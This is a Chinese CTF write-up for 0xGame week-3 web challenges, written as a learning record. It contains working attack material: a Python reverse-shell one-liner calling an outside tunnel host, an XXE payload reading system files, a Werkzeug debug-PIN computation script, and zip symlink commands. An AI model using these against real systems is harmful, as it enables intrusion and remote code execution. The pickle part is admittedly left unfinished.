0xGame week3-WEB wp
notebook
一眼flask的session伪造+python的pickle反序列化。
恰好moe入门的时候moeworld做过flask的session前端绕过,这次思路来得也是挺快的。
先搓个脚本构造secret_key:
import os with open("C:\\Users\\75279\\Desktop\\dict.txt",'w') as f: for i in range(1,1000000): a = os.urandom(2).hex() f.write("\"{}\"\n".format(a))
随便写点东西然后点这个链接抓包抓cookie:
然后丢flask-unsign里面梭出密钥:
其实好像flask-unsign就可以全搞完,我用了个flask_session_cookie_manager解密:
里面是二进制码,应该是pickle.dumps()序列化后的字符串,接下来就是反序列化部分。
引用一下官方wp,解释得挺好的:
参考:pickle反序列化初探 - 先知社区 (aliyun.com)
Linux反弹shell(一)文件描述符与重定向 | K0rz3n's Blog
Linux 反弹shell(二)反弹shell的本质 | K0rz3n's Blog
下面就是本人的复现:(由于十分钟重置一次,如果不一条龙做完note和secretkey就没了,所以session换了又换,密钥也更新了)
最后用的python的反弹shell。
挂个隧道:
用python实现的反弹shell的payload网上也能搜到:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.natappfree.cc",34039));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获得伪造session:
结果在抓包改包的时候弹失败了....
这里有个新的思路就是tee写文件然后访问这个文件就行。还没去试,这步骤太恶心人了,就没继续复现完,大致流程应该就是这样。
rss_parser
XXE+算flaskPIN的题,也做过类似的。
app.py源码:
from flask import Flask, render_template, request, redirect from urllib.parse import unquote from lxml import etree from io import BytesIO import requests import re app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'GET': return render_template('index.html') else: feed_url = request.form['url'] if not re.match(r'^(http|https)://', feed_url): return redirect('/') content = requests.get(feed_url).content tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True)) result = {} rss_title = tree.find('/channel/title').text rss_link = tree.find('/channel/link').text rss_posts = tree.findall('/channel/item') result['title'] = rss_title result['link'] = rss_link result['posts'] = [] if len(rss_posts) >= 10: rss_posts = rss_posts[:10] for post in rss_posts: post_title = post.find('./title').text post_link = post.find('./link').text result['posts'].append({'title': post_title, 'link': unquote(post_link)}) return render_template('index.html', feed_url=feed_url, result=result) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=True)
其他地方没什么特别的,应该是这个位置有XXE漏洞:
所以我们直接将⼀个符合 RSS Feed XML 标准的 payload 放到 HTTP 服务器上就可以 XXE (也可以参考这个默认的https://exp10it.cn/index.xml 改⼀改)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///sys/class/net/eth0/address">]> <rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"> <channel> <title>&file;</title> <link>https://exp10it.cn/</link> <item> <title>test</title> <link>https://exp10it.cn/</link> </item> </channel> </rss>
几个算PIN的流程在我有个题目的wp里有:Flask PIN码生成终端RCE - Eddie_Murphy - 博客园 (cnblogs.com)
直接在RCE点换:
/etc/passwd得到flask用户名,flask.app和Flask默认的就不用说了,随便乱输url进入debug查看app.py的路径,/sys/class/net/eth0/address读mac地址,
/etc/machine-id或/proc/sys/kernel/random/boot_i读机器id,然后直接用脚本爆破PIN码。
phpstudy搭个网站,然后搭个隧道映射到公网,把这个XML写进去,然后开梭:
用户名:app
机器id:5dcbb593-2656-4e8e-a4e9-9a0afb803c47
mac地址:02:42:c0:a8:50:02
拿去转一下:
得到2485723353090。
报错得到app.py地址:/usr/local/lib/python3.9/site-packages/flask/app.py
import hashlib from itertools import chain probably_public_bits = [ 'app'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '2485378023426',# str(uuid.getnode()), /sys/class/net/ens33/address '5dcbb593-2656-4e8e-a4e9-9a0afb803c47'# get_machine_id(), /etc/machine-id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
然后直接在控制台为所欲为。
zip_file_manager
这里想到了linux的zip软链接。
什么是软连接呢,就是可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。
linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)
【CISCN2023】unzip 详解 - gxngxngxn - 博客园 (cnblogs.com)
ln -s / link
zip --symlinks link.zip link
然后再link文件夹里找到flag,下载下来就行了。
还有个官方wp的RCE做法:
GoShop
Go的整型溢出问题。
可以看看官方wp的详细解释:
关键部分源码:
然后钱就溢出变多了,直接买flag:
snapshot的SSRF有点难做,以后有时间再慢慢复现吧(汗)......